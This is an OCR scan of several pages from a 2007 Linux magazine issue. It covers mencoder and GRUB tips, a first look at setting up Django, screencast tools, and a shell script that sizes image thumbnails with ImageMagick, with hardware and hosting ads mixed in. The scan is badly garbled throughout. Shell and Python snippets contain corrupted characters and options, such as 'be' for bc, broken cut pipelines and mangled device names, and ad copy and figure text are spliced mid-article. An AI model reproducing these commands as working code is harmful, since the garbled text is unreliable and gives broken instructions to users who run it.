VIRTUE. LiaHaiuiGntiN WOW. THE GIMP SURE DOES LOOK LIKE PHOTOSHOP SHUT UP/ SHUT UP/ PUR6, DAMN YOU! m THAT WIN E YOU 'RE RUNNING? Linux Laptops Starting at $799 Linux Desktops Starting at $375 Linux Servers Starting at $899 DON'T BE SQUARE! GET CUBED! TECH TIPS Not all tips have to be complex or obscure to be useful. » Convert Video from Color to Black and White The versatility of the Linux command line is often underestimated. Tasks, such as sophisticated multimedia processing, need not be done with heavy GUIs that will run only on powerful machines. The simple Linux command line can do it if you have MPlayer and the companion program mencoder installed on your machine. mencoder is an extremely powerful program that can record analog and digital television, post-process recorded videos, apply vari¬ ous filters and so on. More information is available in the on-line man pages and HTML documentation that comes bundled with the source. Here, we are faced with a simple task of converting a color movie to black and white. This line will do it for you: Smencoder color-video.avi -o black-white-video.avi **-vf hue=0:0 -oac copy -ovc lave If you are interested in trying out various values for hue and saturation, you can invoke MPlayer with: $mplayer -vf hue color-video.avi Press and hold the 5 or 7 keys to reduce hue or saturation. —Girish Venkatachalam » Not So Tech Tips What follows are some very basic tips. For those who already know this information, I apologize if this insults your intelligence. However, I've looked over many a shoulder of very competent Linux users who still don't seem to know about these standard commands and techniques. If you're one of them, you may find this information extremely useful. cd - Almost everyone knows you can type cd ~ to get to the current user's home directory. This isn't a function of cd, but it takes advantage of the fact that the tilde is shorthand for your home directory. The command cd - (dash instead of tilde) is a function of cd, however. It takes you to the last directory where you were working before you switched to the current directory. It also prints out the old directory path. I, myself, have known about this command since the dark ages, but I still curse myself for forgetting to use it and typing out a long path name. Don't Delete That Service Link Most Linux distributions still use a directory, such as /etc/rc2.d, to store a number of symbolic links to boot startup files. You probably know that the order is determined by the number that follows the capital letter S. For example, SlOacpid starts before S11 klogd. I have seen a number of administrators delete these links in order to disable services temporarily to test something. Then, they grumble when they have to figure out what startup number it used to have when they restore the link. Don't delete the link; simply rename it. For example, rename S25bluetooth to s25bluetooth. The fact that it starts with a lowercase s will stop the bluetooth service from starting at the next boot. When you've determined that you want bluetooth back, simply rename it back to S25bluetooth. Sure, there are GUI programs to disable and enable services, but the command-line method is so simple. And remember, contrary to conventional wisdom, the lazy way to do something is often the best way. —Nicholas Petreley » Install and Boot Many Distributions I run lots of Linux distributions. If you do too, here's the way I install and manage them. If you have a better method, by all means, send it to techtips@linuxjournal.com, and if we use it, you will receive $100 for the tip. Create a single relatively small ext3-formatted boot partition on your drive that you will use as your master boot partition with GRUB as your bootloader. My partition is 100MB, and it's probably overkill. This /boot partition will generally reside on the first drive on your sys¬ tem, but it doesn't have to. Install your first distribution with this partition. When everything is working, change the line in /etc/fstab that mounts the /boot partition to mount the partition as/mnt/boot instead. Create the mountpoint called /mnt/boot. Mount the boot partition there. For example: umount /boot mkdir /mnt/boot mount /dev/sdal /mnt/boot Then, copy everything from that partition to what is now the local /boot directory for your distribution: cp -a /mnt/boot/* /boot At this point, you still should be able to boot the distribution you just installed, even though the kernel files are relocated. But, that won't last. You need to change part of your menu.1st to specify that the boot files now reside on the same partition as the rest of the dis¬ tribution. For example, if you started with /boot on /dev/sdal and / on /dev/sda2, modify your menu.1st file to use the new partition to find the kernel. Here's a sample original: title Some Linux Distro root (hd©,0) In our example, you'd change it to this: title Some Linux Distro root (hd0,l) This next part is a little tricky, and there are several ways to approach it. For example, you simply could make a copy of your grub/menu. 1st file. However, I make a copy of the entire grub directory, because there are a variety of ways you can accidentally run into problems otherwise. Here's what I do next: cd /mnt/boot cp -a grub grub.original Now, install your next distribution of Linux in a new partition, but specify the same /boot partition you used to install the first distribu¬ tion. Boot into the new distribution. Repeat the copy process above. First, edit the /etc/fstab file to change the entry that mounts /boot 16 | july 2007 www.linuxjournal.com to mount it as /mnt/boot. Then, do this: umount /boot mkdir /mnt/boot mount /dev/sdal /mnt/boot cp -a /mnt/boot/* /boot Now, edit /mnt/boot/grub.original/menu.1st to include the boot commands for the new distribution. You can find the boot commands for the new distribution in /mnt/boot/grub/menu. 1st. Don't forget to fix the root location again too. Assume that your second distribution is on /dev/sdbl (the first partition of the second drive). In our example, you would change this: title Second Linux Distro root (hd0,0) to this: title Second Linux Distro root (hdl,0) Copy the original grub (with the modified menu.1st that adds the new distribution) back to the grub directory: cd /mnt/boot cp -a grub.original/* ./grub This copies not only the updated menu.1st file, but it also restores the original GRUB binary files. The next time you reboot, you should see a menu entry for the original distribution plus the one you added. To add more distributions, create new partitions, rinse, repeat. You occasionally may find that you need to reset GRUB after you install a new distribution. Given our sample partitions above, simply do this as root: grub > root (hd0,0) > setup (hd0) One last tip: don't forget that when you upgrade a distribution such that it installs a new kernel, you'll have to view the new /boot/grub/menu. 1st file for that distribution and use it as the guide to modify/mnt/boot/grub/menu.1st to use the updated kernel. —Nicholas Petreley ■ Linux Journal pays $100 for reader-contributed tech tips we publish. Send your tips and contact information to techtips@linuxjournal.com. Hurricane Electric Internet Services... Speed an Reliability You Can Depend On! Flat Rate Gigabit Ethernet 1,000 Mbps of IP $ 1 3,000/month* Full 100 Mbps Port Full Duplex $2,000/month Colocation Full Cabinet Holds up to 42 1U servers $400/month Order Today! email sales@he.net or call 510.580.4190 he.net * Available at PAIX in Palo Alto, CA; Equinix in Ashburn, VA; Equinix iff Chicago, IL; Equinix in Dallas, TX; Equinix in Los Angeles, CA; Equinix in San Jose, CA; Telehouse in New York, NY; Telehouse in Los Angeles, CA; Telehouse in London, UK; NIKHEF in-Amsterdam, NL; Hurricane I and Hurricane II in Fremont, CA, and Hurricane in San Jose, CA COLUMNS AT THE FORGE REUVEN M.LERNER One of the biggest rivals to Rails during the last year or two has been Django, a Python-based framework with many of the same goals as Rails. First Steps with Django If you want the power of Rails with Python instead, give Django a jingle. When I first began developing Web applications, I did most of my work in Perl, and my programs were invoked via CGI. My preferences have shifted somewhat over the years, first toward component- and template-based systems, such as Mason and Zope, and then toward all-encompassing frameworks, such as OpenACS. Most recently, I've been spending time using Ruby on Rails. As a longtime Perl programmer, I've been pleasantly surprised by both the Ruby language and the Rails framework. But, of course, Ruby isn't the only popular language out there, and Rails isn't the only popular framework. One of the biggest rivals to Rails during the last year or two has been Django, a Python-based framework with many of the same goals as Rails. Django was first written by Adrian Holovaty while working for a newspaper in Lawrence, Kansas. Holovaty now works for the Washington Post, but he continues to work on the framework along with a host of other open-source contributors. It would be misleading to say that Django is a Python port of Rails (or vice versa). But, there are many similarities between the two projects. Both Rails and Django grew out of successful commercial projects, the former at 37 Signals and the latter at a newspaper. Both aspire to make Web development fun and easy, removing as much of the drudgery as possible from such work. Both use the model- view-controller (MVC) paradigm for handling actions and creating pages. Both use a particular programming lan¬ guage throughout the system for code and configuration files. And, both have managed to rally a large following, ensuring that they both will continue to be developed for some time to come. This month, then, I begin a trip into the world of Django to see exactly what it is about this framework that excites people. Even if you're never going to create any¬ thing in Django, or you dislike the Python language, I expect there will be something that Django can teach you, or at least make you think about. Installing Django The main Web server for Django is at www.djangoproject.com, and you can download a version from there for your own computer. At the time of this writing, the latest official version is 0.96. You can download that version in a .tar.gz file, or you can live on the edge a bit, getting the latest development version via Subversion (svn). I chose the latter path for this column, although if I were working on a commercial site, I might well prefer the stable version. As is the case with Ruby on Rails, the Django code is not a skeleton Web site, so it should not be placed under a directory that is publicly viewable via the Web. Rather, the code should be installed like any other set of Python libraries and programs on your server, using the standard Python install routine: python setup.py install Once this installation is complete, you can use it to create one or more Django projects. The terminology here can be a bit tricky, especially if you're coming from the Rails world, so be careful. A Django project contains one or more applications. Each application then contains sets of models, views and templates. An application can be reused across multiple projects—something like plugins or engines in Rails. For example, you can imagine a calendar application that is used by multiple projects and a portal project that uses several applications (for example, calen¬ dar, e-mail and RSS reader) that come from elsewhere. This means that when we create our Django project, we aren't yet ready to display any code to the world. Rather, we need to create a project and at least one application within that project if we are to see any dynamic output. Let's create a site (named mysite in the Django tutori¬ als, so I use the same convention here): django-admin.py startproject mysite When I installed Django on my Ubuntu box, it placed the administration program django-admin.py in /usr/bin. Your system might have it in a different location, so you might need to modify your PATH to get the above to work as written. Starting a project in this way creates a directory named mysite, containing four Python source files, each with a .py extension: ■ A blank_init.py_file: whenever a directory contains _init.py_, Python sees the entire directory as a single package. So long as the file exists, even if it's blank, our project will be considered a package. ■ settings.py: this file does not contain executable code, but rather configuration settings for the Django instance. For example, we soon will modify this file to indicate the location and type of relational database that we're using. ■ urls.py: this is where we will associate URLs to function¬ ality, using regular expressions to match URLs. If you're coming from the Rails world, this is similar in many 18 | july 2007 www.linuxjournal.com ways to config/routes.rb. ■ manage.py: this is a catchall management program for a Django site, handling a large number of administrative tasks, such as start¬ ing, stopping and synchronizing the project. Once again, don't make the mysite directory visible to the world via the Web. Rather, we will expose parts of this directory to the world through our Django project. If you're coming from the world of Ruby on Rails, this might seem like a very small number of files to begin with. (Out of the box, Rails creates a large number of files and directories.) But, this is because we haven't really created any applications yet, only the package (or con¬ tainer, if you will) that will control and use the application. The package does have its own HTTP server though, in the same way that Rails comes with one. We can test that things are in order, at least at the package level, by starting up that HTTP server: python manage.py runserver This is the first time that we use manage.py, but it is far from the last. The server, which will be running only on the localhost address (127.0.0.1), indicates that the basic framework is up and running and that you now should move ahead with the database definitions. On the server side, we get the following messages: Validating models... 0 errors found. Django version 0.97-pre, using settings 1 mysite.settings 1 Development server is running at http://127.0.0.1:8000/ Quit the server with C0NTR0L-C. The first two lines indicate that our models—the files with which we describe the contents of our relational database tables—don't exist, which means that they generate 0 errors. (Don't worry; we'll be adding new models, and thus errors, in the near future.) Django also is nice enough to provide version information to indicate the file from which settings are being taken and how we can quit the server. Connecting to the Database Part of the reason for using a framework like Django is because it pro¬ vides us with an excellent object-relational mapper—a fancy way of saying that it turns Python objects into database tables and back with¬ out forcing us to work too hard. But, of course, this is possible only if we connect Django to a database. For this project, I created a small PostgreSQL database named atf: createdb -U reuven atf I then can modify settings.py, making the following variable assignments: DATABASE_ENGINE = ’postgresql’ DATABASE_NAME = 'atf' DATABASEJJSER = ’reuven' DATABASE_PASSWORD = ’’ COLUMNS AT THE FORGE Right out of the box, Django understands that there are users and groups, and that they might need to be assigned different permissions. DATABASE_HOST = '' DATABASE_PORT = '5433' Notice that I had to set DATABASE_PORT to 5433 explicitly. On my system, Django tried to connect to the PostgreSQL server on port 5432, but the database was listening on port 5433. Before we run the application, we now should synchronize the database. This is the Django term for creating tables that have not yet been defined in the database. We do this by typing (in another shell): python manage.py syncdb Now, if you're coming from the Rails world, you might be scratching your head at this point. What tables could Django possibly need to create? I haven't defined any database tables or model objects—what's going on? The answer is that although Rails and Django are similar in some ways, they differ significantly in other ways. One of those ways has to do with authentication. Django assumes that everyone will want to have an authentication system. After creating the appropriate database tables, Django then prompts you for the user name, e-mail address and password of the superuser for your site. It then finishes with the creation of the administration tables. Now we can start our server again: python manage.py runserver If you are running your Django development site on a machine other than your local workstation, you might want to add an optional IP address and port number: python manage.py runserver 10.0.0.1:8000 Creating an Application If you point your Web browser at the server you've just set up, you're bound to be disappointed. Yes, we see that Django is running, but we also see that it is giving Resources The main Django site is at www.djangoproject.com. The site contains a great deal of documentation, including tutorials and pointers to mailing lists. A prerelease copy of the forthcoming Django book (to be published by Apress) is at www.djangobook.com/en/beta, and although the book is still unfinished in many places, it is written well and includes many examples. If you're interested in comparing Ruby on Rails with Django, there are a number of sites and blog entries that look at them, some with a bit more respect for both sides than others. One thread that I found on the django-users Google group is at groups.google.com/group/django-users/browse_thread/ thread/c59a3b4e1fb9cae7?tvc=2 us an error message when we try to access the server. What's happening? The simple answer is that we have not yet populated our project with any applications. The project exists, and the server is running, but they are basically an empty shell. Until we create and install one or more applications, we're not going to see very much. The exception is the Django administrative package, which comes with the system and is immediately available. Well, that's not quite true. It's available, but only if you explicitly modify the list of installed applications (INSTALLED_APPS) to include the appropriate package name. Luckily, we can do that without too much trouble. We open up mysite/settings.py, scroll down to the bottom and modify INSTALLED_APPS such that it includes the string: "django.cont rib.admin" You don't even have to restart the server. Once this value has been added, you will be asked to log in with a user name and password. Enter the values that you gave to Django when it created the administrative database, and you'll get a nicely formatted (if sparsely populated) administrative site, complete with links to Django documentation. Without any other applications installed, it might seem a bit silly to have a Django administrative site. But, one of the things Django provides that Rails doesn't is an underly¬ ing authentication and security system. Right out of the box, Django understands that there are users and groups, and that they might need to be assigned different permis¬ sions. You easily can add, modify and delete groups, giving them one or more permissions from a provided list. Even without any applications in place, you can create and administer a system with users, groups and permission levels. It would have been nice if Django were to support hierarchies of groups, rather than the one-level model it currently uses. Regardless, I've always been fond of Web frameworks that come with built-in users, groups and permissions. The fact that Django comes with a graphical system to manipulate them is even better. Conclusion This month, we began to look at Django, a popular open- source Web framework written in Python. We got our Django project up and running, including connections to a relational database. We were even able to browse through some of its administrative screens, assigning permissions to users and groups. Next month, we'll continue with our exploration of Django, looking at how we can create new applications with its versions of the MVC (model-view-controller) paradigm.H Reuven M. Lerner, a longtime Web/database consultant, is a PhD candidate in Learning Sciences at Northwestern University in Evanston. Illinois. He currently lives with his wife and three children in Skokie. Illinois. You can read his Weblog at altneuland.lerner.co.il. 20 | july 2007 www.linuxjournal.com EmperorLinux ...where Linux & laptops converge Portab Since 1999, EmperorLinux has provided pre-installed Linux laptops to universities, corporations, government labs, and individual Linux enthusiasts. Our laptops range from full- featured ultra-portables to desktop replacements. All systems come with one year of Linux technical support by phone and e-mail, and full manufacturers' warranties apply. Toucan T60/T60ws ThinkPad T60/T60ws by Lenovo • Up to 15.4" WSXGA+ w/ X@1680xl050 • ATI Mobility FireGLV5250 • 1667-2333 MHz Core 2 Duo • 512 MB-4 GB RAM • 80-120 GB hard drive • CDRW/DVD or DVD±RW • 5.2-6.0 pounds • 10/100/1000 Mbps ethernet • 802.11a/b/g (54Mbps) WiFi • Starts at $1650 Powerf EmperorLinux specializes in the installation of Linux on a wide range of the finest laptops made by IBM, Lenovo, Dell, Sony, and Panasonic. We customize your choice of Linux distribution to your laptop and provide support for: ethernet, wireless, X-server, ACPI power management, USB, EVDO, PCMCIA, FireWire, CD/DVD/CDRW, sound, and more. Rhino D820/M90 Dell Latitude D820/Precision M90 • Up to 17" WUXGA w/ X@1920xl200 • NVidia Quadro FX 3500M graphics • 1667-2333 MHz Core 2 Duo • 512 MB-4 GB RAM • 60-160 GB hard drive • CDRW/DVD or DVD±RW • 6.3-8.6 pounds • 802.11a/b/g (54Mbps) WiFi • ExpressCard/EVDO • Starts at $1445 EmperorLinux offers Linux laptops with unique features. Ruggedized Panasonic laptops are designed for harsh environments: drops, vibrations, sand, rain, and other extremes. ThinkPad tablet PCs are like other laptops, with an LCD digitizer for pen-based input both as a mouse and with pressure sensitivity for writing and drawing on-screen. Raven X60 Tablet ThinkPad X60 Tablet by Lenovo • 12.1" SXGA+ w/ X@1400xl05 • 1500 MHz Core 2 Duo • 1-4 GB RAM • 80-120 GB hard drive • 3.8 pounds • Pen/stylus input to screen • Dynamic screen rotation • Handwriting recognition • X60s laptops available • Starts at $2300 www.EmperorLinux.com 1-888-651-6686 Model prices, specifications, and availability may vary. All trademarks are the property of their respective owners. COLUMNS COOKING WITH LINUX Let Me Show You How It's Done with a Little Video marcel gagne They say a picture is worth a thousand words. As videos could be 25 pic¬ tures per second and might last several minutes, how many words is that? Creating screencasts doesn’t have to be difficult, and the features on tonight’s menu will have you creating your own in no time. TIP: As I was writing this article, the Istanbul develop¬ ment package also gave the option of select¬ ing an active win¬ dow, usually an easier choice than selecting an area for recording. Francois, what are you doing still sitting in front of your computer? Our guests will be here any moment. Quoi? I appreciate, mon ami, that you are teaching your Aunt Marguerite to use Linux, but must you do it in real time over a VNC control session? Of course there are other ways, mon ami. For instance, you could create instruction¬ al videos, screencasts, and e-mail them to her. Yes, I would be happy to show you how, but for now, you must say Au revoir to your aunt and log off. I can see our guests coming up the walkway now. Welcome everyone, to Chez Marcel, where great Linux and open-source software meets great wine, and of course, great people. C'est fantastique to see you all here tonight. Please, sit and make yourselves comfort¬ able. Frangois! To the wine cellar, mon ami. Bring back the 2003 Chateau Maris Minervois Old Vine Grenache from the south wing. I remember seeing a half-dozen cases there. Before you arrived, mes amis, Frangois and I were discussing approaches for showing people how to use various software packages, perhaps for teaching a friend or relative how to use a Linux desktop. I sug¬ gested that rather than resorting to remote control ses¬ sions, it might be more efficient to create small train¬ ing videos and use those instead. Besides, instead of reaching one person, this way you could reach many. This is popularly referred to as screencasting. Creating screencasts doesn't have to be difficult, and the fea¬ tures on tonight's menu will have you creating your own in no time. The first program I'd like to show you is Zaheer Abbas Merali's Istanbul, a screen recording program that sits qui¬ etly in your system tray, waiting to be called on. The program is available from live.gnome.org/lstanbul. Source (both stable and development) is available from the Istanbul site as well as Debian packages. And, packages for other distri¬ butions are easily located, for example, at rpmfind.net. To start Istanbul, simply run the com¬ mand name, istanbul. When you do, a small red icon appears in the system tray. Right-click on the system tray icon (a small red circle at this point), and a small pop-up menu appears (Figure 1). From i i 1 !!■ Bn i 09:47 2007-04-20 Figure 1. Access Istanbul’s settings by right-clicking the red circle in your system tray. here, you can make a number of changes in Istanbul's default recording. For instance, you may choose to make a smaller recording by selecting half width and height instead of full size. You also can choose to record your entire desktop or select a specific area to record. If you do the latter, Istanbul provides you with a large X cursor that you can drag around the area you want to record. I should alert you to one other very important point, mostly because I scratched my head for some time on this one. Notice that there is also a selection labeled Record Sound. You need to enable that if you want to add sound to a screencast. To start recording, simply click the red button. It changes to a gray square while you record your session. Talk clearly into your microphone and demonstrate the steps in the window you selected as you explain the pro¬ cess. When you are done recording, click the gray button. yam* | ogg' 5m n f&kJir [5 » JJ'uwia curiar fold**-. I .jL - • •. .. J e+*T Figure 2. Istanbul saves its videos in the free and open standard OGG format. 22 | july 2007 www.linuxjournal.com A dialog labeled Save Screencast appears (Figure 2). On the left-hand side of that dialog, there's a preview window showing your captured video. To preview it before saving it, click the Play button below the preview window. On the top left, you can enter a file for your video and select a folder in which to save it. As you might have guessed from the save dialog, this is a GNOME application, but it works very well under KDE also. Note that Istanbul saves in OGG format, so if you want something else, you have to convert it after the fact using a program like FFmpeg or mencoder. Many Linux distributions come with a copy of FFmpeg or provide it on their repositories. Using it is pretty simple. For instance, to convert an OGG video to an AVI file, you might use this command: ffmpeg -f recording.ogg newrecording.avi As you might expect, there's a lot more to the pro¬ gram, but it can be this simple. For a whole lot more on FFmpeg, check your on-line documentation. NOTE: Usually, the reason for doing this converting, is to provide videos that your friends running another operating system can view. Or, you could direct them to download OGG codecs instead, so they will be able to enjoy completely free video and audio. The next item on this star-studded menu, is John Varouhakis' recordMyDesktop, a desktop screencasting program that includes both a command-line tool and a graphical front end, gtk-recordMyDesktop. You can pick up a copy of gtk-recordMydesktop from recordmydesktop.sourceforge.net For the purpose of this demonstration, I concentrate on the graphical client rather than the command-line version. When you start gtk-recordMyDesktop, a simple record- VWw Quality iwa- * Sgumi Quality ICC - Files Performance Sound Misc Frames Per Second Encode On the Fly Zero Compression Quick Subsampling Shared Threshold Full shots at every frame M i Frames Per Second Disabled T Disabled T Disabled T 75 Disabled w tqrt, cllcfe 4*1 d tfciig. gir Lhfl prpviijw I triage, t-n iElect an araafc-r feeding Hjqh: click bn IT, [A rti-SfiE Thu * -< * .'■ TT?!' * Select Wirvfffw ttpecora Figure 3. Creating a screencast with gtk-recordMyDesktop is as easy as clicking the Record button. ing dialog appears (Figure 3). On the left-hand side of the program, there's a preview pane with a button labeled Select Window directly underneath. Before you begin recording, click the window you want to capture. You'll see it outlined in red in the preview pane. To record the whole desktop, click on an empty (or shall we say, unclut¬ tered) portion of your desktop. Adjust video and sound quality using the sliders on the top right. To begin record¬ ing, click the red Record button. When you do that, the dialog vanishes. If you are paying attention, you might notice some¬ thing that looks a little like Istanbul here. It's that little red circle sitting in your system tray. This similarity isn't entirely accidental. Parts of Istanbul are in gtk-recordMyDesktop. Incidentally, another way to start a recording is to click the red system tray icon. It then changes to a gray square while you record your session. When you click it again, the recording stops and you return to the gtk-recordMyDesktop window. Although there's no preview of your recording, you can save it by clicking the Save As button. Let's take a closer look at another part of the interface, the Advanced settings. Clicking the Advanced button brings up a more comprehensive settings dialog with Figure 4. Depending on your system’s power, you may want to adjust some performance- related settings. J *3 ElQuit What's an article on screencasts without some screencasts to watch? To see these tools in action, visit Marcel's site at www.marcelgagne.com/ljscreencast.html. www.linuxjournal.com ju ly 2007 | 23 COLUMNS COOKING WITH LINUX Figure 5. reKordmydesktop provides a rich, easy-to-use inter¬ face for creating screencasts. Note that Istanbul saves in OGG format, so if you want something else, you have to convert it after the fact using a program like FFmpeg or mencoder. four tabs (Figure 4). In Figure 4, I've highlighted the Performance tab, which controls frames per second, on-the-fly encoding and more. Changing settings here makes higher quality screencasts possible, but keep in mind that doing this impacts system performance, and you may require more horsepower to achieve good results. The Files tab has two functions. It allows you to define your working directory (/tmp is the default), and it lets you decide whether you want to overwrite files as they are recorded. The resulting videos are saved to out.ogg. Subsequent writes will use out.ogg.1 and so on. If you would rather have gtk-recordMyDesktop overwrite the file each time, check the appropriate box on the Files tab. Under the Sound tab, you can change the number of audio channels, the frequency and the audio device loca¬ tion. Finally, under the Misc tab, you'll find primarily visual settings, such as the appearance of the mouse cursor in your videos. For the KDE users out there, Marios Andreopoulos has created reKordmydesktop, a feature-rich and fantastic front end to recordMyDesktop. This program is a single Kommander script, and as such, it doesn't require a com¬ plicated installation, but you do need to have Kommander installed. Save the file to your desktop (or any location you please) and click on it. The reKordmydesktop dialog (Figure 5) appears, ready to do your bidding. As you can see, the GUI does add some great flexibili¬ ty, starting with a definable location and name for your OGG file. Everything you need is covered under these three tabs, although most of what you'll want is on the Common Settings tab. Let's look at a few of those, start¬ ing with sound. To record audio, make sure you click the Capture Sound check box. You can specify a time delay to your recordings—you can screencast reKordmydesktop, so you may want to minimize it first when capturing the whole desktop—or set a time limit on the recording (look in the Chrono section). By default, reKordmydesktop cap¬ tures the entire desktop. To select a window, click the Grab Window button on the left, and click on the pro¬ gram window you want to capture (again, you even can click reKordmydesktop if you choose). To start recording, simply click the Record button. One thing I like about this program is that you can pause a recording, change things around, then continue by clicking Pause again. When you are done, click Stop, and the OGG file is written to disk. Let's have another look at that three-tabbed interface. Under the Encoding Settings tab, audio and video settings can be changed and tweaked to give you a recording that balances your system's performance to provide the best quality possible. This might include dropping frames, selecting multichannel audio or choosing a higher sam¬ pling rate. The Advanced Settings tab allows you to select an alternate cursor (or none), change the working directory and more. If you think you've gone and changed things for the worse, there's a handy Restore Default Settings button here as well. And that, mes amis, is what we call a wrap. The system clock, sadly, does not lie, and closing time is nearly upon us. I invite each and every one of you to try your own screencasts. Post them to your blogs, Web sites or even YouTube. Show others how much fun Linux and open-source software can be. In the meantime, perhaps Frangois will be so kind as to refill your glasses once more. Until next time, please raise your glasses, mes amis, and let us all drink to one another's health. A votre sante! Bon appetitim Marcel Gagne is an award-winning writer living in Waterloo. Ontario. He is the author of the all-new Moving to Free Software, his sixth book from Addison- Wesley. He also makes regular television appearances as Call for Help’s Linux guy. Marcel is also a pilot, a past Top-40 disc jockey, writes science fiction and fantasy, and folds a mean Origami T-Rex. He can be reached via e-mail at mggagne@salmar.com. You can discover lots of other things (including great Wine links) from his Web site at www.marcelgagne.com. Resources gtk-recordMyDesktop: recordmydesktop.sourceforge.net Istanbul: live.gnome.org/lstanbul reKordmydesktop: www.kde-apps.org/content/ download.php?content=55760&id=1 Marcel's Web Site: www.marcelgagne.com The WFTL-LUG, Marcel's Online Linux User Group: www.marcelgagne.com/wftllugform.htmlusers/ browse_th read/th read/c59a3 b4e 1 f b9cae7 ?tvc=2 24 | july 2007 www.linuxjournal.com Are you shocked by the high cost of iSCSI & Fibre Channel storage? AoE is your answer! ATA-over-Ethernet = simple, low cost, expandable storage. www.coraid.com mr Winner ^ W Product Excellence Award\ S. Best Storage A ^^J5olution^^ 1. Ethernet Storage - without the TCP/IP overhead! 2. Unlimited ex pandability, at the lowest possible price point!! 3. You want more storage...you just buy more disks - it's that EtherDrive SRI 520 RAID enabled 3U appliance with 15 slots for hot swap SATA disks Check out our other Storage Appliances and NAS Gateway Visit us at www.coraid.com for more information. nin ' i* i ■i. i i i^:|l » i i i CORAID 1.706.548.7200 The Linux Storage People www.coraid.com COLUMNS WORK THE SHELL DAVE TAYLOR The last step in our script development is to let more than one image be displayed on a line, because we now can reduce thumbnails as needed. whether they’re wide or tall. Displaying Image Directories in Apache, Part IV The final steps in our thumbnail script scale and align the images within a pretty table. This is the fourth of four columns on how to write a shell script to make the display of directories full of images more useful than the default Apache Is -1 style output. In the first column, I explained how to drop a script in place to improve the Apache directory listing capability, and in the latter two columns, I showed how to work with images within a shell script, including a shell function that extracted height and width from most image file types. I ended that column with a teaser, highlighting that if you really want to work with images on the command line, there's no better package than ImageMagick. You'll want it for this month's installment (www.imagemagick.org), if it's not already installed on your server. Rewriting the Image Size Function The first stab at the image size function figuresizeO leaned on the file command to figure out image size. This works for GIF and PNG images, but it turns out that the file command can't figure out the image size for JPEG images, alas. So, we need to rewrite it using the ImageMagick identify script instead. Here's a sample (pruned) output: S identify teamgeist.jpg hentai-manga-example.gif archos-av700.png teamgeist.jpg JPEG 350x350 350x350+0+0 DirectClass 8-bit 62.7734kb hentai-manga-example.gif GIF 358x313 358x313+0+0 PseudoClass 256c ^8-bit 86.4551kb archos-av700.png PNG 567x294 567x294+0+0 DirectClass ^8-bit 341.498kb Notice that in all three cases, the image dimensions are shown as field three, in width x height format (for example, archos-av700.png is 567 pixels wide and 294 pixels high). This means we can use cut to grab only those values and cut again to strip out field one and field two, like this: width="$(identify $ 11 cut -d\ - f3|cut -dx -fl)" height="$(identify $ 11cut -d\ -f3|cut -dx -f2)" If we add an echo, we have a rudimentary image size shell script. With that done, let's test it out with the Archos PNG file and the Teamgeist image that the file command couldn't handle: $ sh myidentify.sh archos-av700.png archos-av700.png: height=294 and width=567 $ sh myidentify.sh teamgeist.jpg teamgeist.jpg: height=350 and width=350 Perfect. The figuresizeO shell function is given an image filename and sets the global variables height and width, so it's easy to rewrite it to work with identify: figuresizeO { width="$(identify $ 11cut -d\ -f3|cut -dx -fl)" height="$0'dentify $ 11 c u t -d\ - f 3 | cut -dx -f2)" } This is much smaller, much more efficient, and it works with JPEG images too—an all-around win! Scaling Images Proportionally The last step in our script development is to let more than one image be displayed on a line, because we now can reduce thumbnails as needed, whether they're wide or tall. Here, I write this to have three images abreast, but you can tweak it if you have a bigger screen, of course. To have three images across in a window that'll be no wider than 700 pixels (to fit easily on an 800x600 screen), we want the thumbnail images to be no wider than 200 pixels. This means we want to call figuresizeO, and then do some math to figure out the best reduced dimensions to get to that max. The challenge is that the shell doesn't really let you work with floating-point (non-integer) numbers, so we need to trick be into doing the work for us. Here's how that looks if height is the larger dimension: factor="$(echo "scale=4;$maxsize/$height"|be)" newwidth="$(echo "$factor*$width"|be|cut -d. -fl)" To figure out how to scale the smaller dimension pro¬ portionally, we divide MAXSIZE/actual height, which will be a value less than 1.0, and then use that as the multiplier for the other dimension. For example, let's say I have an image that's 313x358 26 july 2007 www.linuxjournal.com but want to reduce it to no bigger than 200x200, propor¬ tionally; factor can be calculated as 200/358 (or .558), and then the smaller dimension is multiplied by .558 (that is, 313*0.558) to produce 174. The proportionally scaled image, then, is 174x200. In script form, here's what I wrote: if [ $height -gt $maxsize -o $width -gt $maxsize ] ; then if [ $height -gt $width ] ; then # we'll want to constrain height factor="$(echo "scale=4;$maxsize/$height"|be)" nh=$maxsize nw="$(echo "$factor*$width"|be|cut -d. -fl)" else factor="$(echo "scale=4;$maxsize/$width"|be)" nw=$maxsize nh="$(echo "$factor*$height"|be|cut -d. -fl)" ft echo "Given $width x $height, scaled to " echo "$nw x $nh" width=$nw height=$nh fl Cool. Now if the image is too big, we can scale it auto¬ matically and adjust the height and width parameters as needed. If it's sufficiently small, nothing changes. A test run: ■ Given 161x230, scaled to 139x200. ■ Given 268x202, scaled to 200x150. ■ Given 567x294, scaled to 200x103. e no - 11 e | Image flirprtnry IJriEil-y by Daw Taylnf http://www.lntuitivie.ccmyidemotestli-iB.cgl “ Q- | WS- UHTMi ^ ? a gt PSA2-5crecnshcrt jpg (112x 150) SOKOLS arizaar.pne (10? x 150) amazon .pnE (1+yx 150) Ir ODD [, fiQt-safetv-mcnu.pn & appte-lpod-&n[cr-code .pn£ arch.Q5-av700.pnfl (150x101) (113x 150) (77 x 150) Solaris 9 DUM)4E.5 duninuiis-prototype-cover. jp& he ntaj - man e a -example. e. if nif-screwed-u p .due. (150x119) (131x150) (69x150) echo "" Figure 1. Example linecount=0 Result from the fi New Script echo "" echo "$name" echo "
$name

($height x $width)" ■ Given 358x313, scaled to 200x174. linecount=$(( $linecount + 1 )) ■ Given 350x350, scaled to 200x199. Last Step: Tables for Aligning Things With all of this tucked into the script, we can use a skele¬ ton table to organize things neatly. In a rough form, it'll look like this: Now, because I want to write a highly readable script, it's worth highlighting that the top section lets you config¬ ure the heck out of this: maxsize=150 # max thumbnail size, in pixels maxperline=3 # max images per table row
image image image
